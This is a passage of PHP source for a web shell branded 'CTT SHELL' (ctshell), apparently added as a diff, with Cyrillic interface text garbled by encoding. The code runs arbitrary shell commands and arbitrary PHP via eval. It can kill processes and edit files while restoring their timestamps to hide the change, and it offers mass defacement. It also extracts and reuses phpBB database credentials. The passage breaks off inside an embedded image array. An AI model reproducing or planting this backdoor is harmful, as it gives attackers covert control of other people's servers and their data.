value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"��������\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"������ �����\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=\"act\"><option value=\"".$act."\">� ����������:</option>"; + echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">�������</option>"; + if ($usefsbuff) + { +echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">��������</option>"; +echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">����������</option>"; +echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">���������</option>"; + } + if ($dspact == "massdeface") {echo "<option value=\"deface\"".gchds($dspact,"deface"," selected").">���������</option>";} + echo "</select>&nbsp;<input type=\"submit\" value=\"�����������\">"; + echo "</form>"; + +echo "</td></tr></table>"; +echo "</td></tr></table><br><center><font size=2 color=#aaaaaa>[<a href=http://ctt.void.ru>CTT</a>] SHELL ver ".$shver."</font></center>"; + } + +} +if ($act == "cmd") +{ + if (!empty($submit)) + { + echo "<b>��������� ���������� ��� �������</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { +ob_clean(); +myshellexec($cmd); +$ret = ob_get_contents(); +$ret = convert_cyr_string($ret,"d","w"); +ob_clean(); +echo $tmp; +if ($cmd_txt) +{ + $rows = count(explode(" +",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; +} +else {echo $ret;} + } + else + { +if ($cmd_txt) +{ + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + myshellexec($cmd); + echo "</textarea>"; +} +else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>������� ����������:</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$sul."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"���������\"><input type=\"hidden\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +if ($act == "ps_aux") +{ + echo "<b>��������:</b><br>"; + if ($win) { +echo "<pre>"; +system('tasklist'); +echo "</pre>"; +} + else + { + if ($pid) + { +if (!$sig) {$sig = 9;} +echo "Sending signal ".$sig." to #".$pid."... "; +$ret = posix_kill($pid,$sig); +if ($ret) {echo "ok. he is dead, amen.";} +else {echo "ERROR. Can't send signal ".htmlspecialchars($sig).", to process #".htmlspecialchars($pid).".";} + } + $ret = `ps -aux`; + if (!$ret) {echo "Can't execute \"ps -aux\"!";} + else + { +$ret = htmlspecialchars($ret); +$ret = str_replace(""," ",$ret); +while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} +$prcs = explode("\n",$ret); +$head = explode(" ",$prcs[0]); +$head[] = "ACTION"; +unset($prcs[0]); +echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; +echo "<tr border=\"1\">"; +foreach ($head as $v) {echo "<td><b>&nbsp;&nbsp;&nbsp;".$v."</b>&nbsp;&nbsp;&nbsp;</td>";} +echo "</tr>"; +foreach ($prcs as $line) +{ + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + $line[] = "<a href=\"".$sul."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + foreach ($line as $v) {echo "<td>&nbsp;&nbsp;&nbsp;".$v."&nbsp;&nbsp;&nbsp;</td>";} + echo "</tr>"; + } +} +echo "</table>"; + } + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>��������� ���������� ���� PHP-���</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { +ob_clean(); +eval($eval); +$ret = ob_get_contents(); +$ret = convert_cyr_string($ret,"d","w"); +ob_clean(); +echo $tmp; +if ($eval_txt) +{ + $rows = count(explode(" +",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; +} +else {echo $ret;} + } + else + { +if ($eval_txt) +{ + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; +} +else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>PHP-��� ����������</b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"���������\"></form>"; +} +if ($act == "f") +{ + $r = @file_get_contents($d.$f); + if (!is_readable($d.$f) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$sul."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) + { +if (in_array($ext,$v)) {$rft = $k; break;} + } + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + + echo "<b>������������ �����:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$sul."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + if (is_writable($d.$f)) {echo "<font color=\"green\">������ ������ ������/������ (".view_perms(fileperms($d.$f)).")</font>";} + else {echo "<font color=\"red\">Read-Only (".view_perms(fileperms($d.$f)).")</font>";} + + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { +echo "<b>Information:</b>"; +echo "<table class=tab border=0 cellspacing=1 cellpadding=2>"; +echo "<tr class=tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr>"; +echo "<tr class=tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; +if (!$win) +{ + echo "<tr class=tr><td><b>Owner/Group</b></td><td> "; + $tmp=posix_getpwuid(fileowner($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; + else echo $tmp['name']." "; + $tmp=posix_getgrgid(filegroup($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); + else echo $tmp['name']; +} +echo "<tr class=tr><td><b>Perms</b></td><td>"; + +if (is_writable($d.$f)) +{ + echo "<font color=\"green\">".view_perms(fileperms($d.$f))."</font>"; +} +else +{ + echo "<font>".view_perms(fileperms($d.$f))."</font>"; +} + +echo "</td></tr>"; +echo "<tr class=tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>"; +echo "<tr class=tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>"; +echo "<tr class=tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>"; +echo "</table><br>"; + + +$fi = fopen($d.$f,"rb"); +if ($fi) +{ + if ($fullhexdump) + { + echo "<b>FULL HEXDUMP</b>"; + $str=fread($fi,filesize($d.$f)); + } + else + { + echo "<b>HEXDUMP PREVIEW</b>"; + $str=fread($fi,$hexdump_lines*$hexdump_rows); + } + $n=0; + $a0="00000000<br>"; + $a1=""; + $a2=""; + for ($i=0; $i<strlen($str); $i++) + { + $a1.=sprintf("%02X",ord($str[$i])).' '; + switch (ord($str[$i])) + { +case 0: $a2.="<font class=s2>0</font>"; break; +case 32: +case 10: +case 13: $a2.="&nbsp;"; break; +default: $a2.=htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { +$n = 0; +if ($i+1<strlen($str)) {$a0.=sprintf("%08X",$i+1)."<br>";} +$a1.="<br>"; +$a2.="<br>"; + } + } + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4 ". +"class=sy><tr><td bgcolor=#666666> $a0</td><td bgcolor=000000>". +"$a1</td><td bgcolor=000000>$a2</td></tr></table><br>"; +} +$encoded = ""; +if ($base64 == 1) +{ + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode($r); +} +elseif($base64 == 2) +{ + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode($r)); +} +elseif($base64 == 3) +{ + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode($r); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); +} +elseif($base64 == 4) +{ +} +if (!empty($encoded)) +{ + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; +} +echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$sul."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { +if ($white) {@ob_clean();} +echo $r; +if ($white) {exit;} + } + elseif ($ft == "txt") + { +echo "<pre>".htmlspecialchars($r)."</pre>"; + } + elseif ($ft == "ini") + { +echo "<pre>"; +var_dump(parse_ini_file($d.$f,true)); +echo "</pre>"; + } + elseif ($ft == "phpsess") + { +echo "<pre>"; +$v = explode("|",$r); +echo $v[0]."<br>"; +var_dump(unserialize($v[1])); +echo "</pre>"; + } + elseif ($ft == "exe") + { +echo "<form action=\"".$sul."act=cmd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"".htmlspecialchars($r)."\"><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;<input type=\"submit\" value=\"View&Edit command\"></form>"; + } + elseif ($ft == "sdb") + { +echo "<pre>"; +var_dump(unserialize(base64_decode($r))); +echo "</pre>"; + } + elseif ($ft == "code") + { +if (ereg("phpBB 2.(.*) auto-generated config file",$r)) +{ + $arr = explode(" +",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$sul."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ctshell";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array( + "dbms"=>$dbms, + "dbhost"=>$dbhost, + "dbname"=>$dbname, + "dbuser"=>$dbuser, + "dbpasswd"=>$dbpasswd + ); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + + echo "</b>"; + echo "<hr size=\"1\" noshade>"; + } +} +echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: #808080;\">"; +if (!empty($white)) {@ob_clean();} +if ($rehtml) {$r = rehtmlspecialchars($r);} +$r = stripslashes($r); +$strip = false; +if(!strpos($r,"<?") && substr($r,0,2)!="<?") {$r="<?php\n".trim($r)."\n?>"; $r = trim($r); $strip = true;} +$r = @highlight_string($r, TRUE); +if ($delspace) {$buffer = str_replace ("&nbsp;", " ", $r);} +echo $r; +if (!empty($white)) {exit;} +echo "</div>"; + } + elseif ($ft == "download") + { +@ob_clean(); +header("Content-type: ctshell"); +header("Content-disposition: attachment; filename=\"".$f."\";"); +echo($r); +exit; + } + elseif ($ft == "notepad") + { +@ob_clean(); +header("Content-type: text/plain"); +header("Content-disposition: attachment; filename=\"".$f.".txt\";"); +echo($r); +exit; + } + elseif ($ft == "img") + { +if (!$white) +{ + echo "<center><img src=\"".$sul."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" border=\"1\"></center>"; +} +else +{ + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: image/gif"); + echo($r); + exit; +} + } + elseif ($ft == "edit") + { +if (!empty($submit)) +{ + if ($filestealth) {$stat = stat($d.$f);} + if (!is_writable($d.$f) and $autochmod) {@chmod($d.$f,$autochmod);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>���������!!!</b>"; + fwrite($fp,$nfcontent); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $nfcontent; + } +} +$rows = count(explode(" +",$r)); +if ($rows < 10) {$rows = 10;} +if ($rows > 30) {$rows = 30;} +echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"���������\">&nbsp;<input type=\"reset\" value=\"�����\">&nbsp;<br><textarea name=\"nfcontent\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +if ($act == "phpinfo") +{ + ob_end_clean(); + phpinfo(); + exit; +} +} +$data = base64_decode("PGNlbnRlcj48Zm9udCBzaXplPTIgY29sb3I9IzAwZmYwMD5DeWJlciBUZXJyb3Jpc20gVGVhbTwvZm9udD48YnI+PGZvbnQgc2l6ZT0yPg0KyOTl/ywg6Ofs5e3l7ej/IOTo5+Dp7eAg6CDx6vDo7/LgIOTu4eDi6Os6PC9mb250PjxpbWcgc3JjPWh0dHA6Ly9vbmxpbmUubWlyYWJpbGlzLmNvbS9zY3JpcHRzL29ubGluZS5kbGw/aWNxPTMzNTk3NjAyMSZpbWc9NSBoZWlnaHQ9MTggd2lkdGg9MTg+PGZvbnQgc2l6ZT0yIGNvbG9yPSNGRkRFMDA+IFJPRE5PQzwvZm9udD48L2NlbnRlcj4="); +if ($act == "img") +{ + @ob_clean(); + + $arrimg = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhEQAPAKIAAO/v8N3e387OzpSt72NzrVFZfCkxUv///yH5BAUUAAcALAAAAAARAA8AAANSe". +"Grc3uoYAEq4wWZqFtWXVnBehWUhKQ1V4b6uagwsZd/ATO84ru+0k/C3MxCOSIyDZhQ4nYRnZ2UQRJ9". +"W6aKaxV4F02r1CwWDF2bYyzyVPN6dBAA7", +"edit"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhDgAQALMPAKt5E8uYM7SBHLyJJMaTLsGOKaRyDJ5sBv/MZ//////ge//rhf/Ub//3kf//m". +"f///yH5BAEAAA8ALAAAAAAOABAAAARF8MlJq704axo6yUEiJsUVOqiTDIPgSkEjz6MIPMGi7/xyE4q". +"gcKj4MY7IJONWQDifUAQzSr0NqFErFnp7uASAsMFwKD8iADs=", +"small_unk"=> +"R0lGODlhEQAUANUhAOXl1c3MzJiYmCkufnoRE83MzTNOoszLzO4jI/HqQIeGh5iYlxZ7PRh8PXLM". +"2FRVVMvLyzRNofbHPnsRE+bm1QgJCebl1FRUVFVVVIaGh1VVVQcICCoufoaFhYWGhszMzP///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACEALAAAAAARABQAAAaewJBw". +"SCwaj0hPZpnxOD2dhdFDsVgBV4tAU+yAvmCwAHQhesNhwQVTFnoVS2gn0/FsIJiht8ORcP4DfxVk". +"QxkgfIF/gBuEQh6HaF8WjHmOIIYJBF8GIBSUQ49eBAggBg4RniBclo8gE18MDQCDqyGhAFUUuLi0". +"oCAbFRvAwcCMtWeRYW0hGQcfAc/QBQEFzpUhbBoaGNsP2mtrSOLjSEEAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". 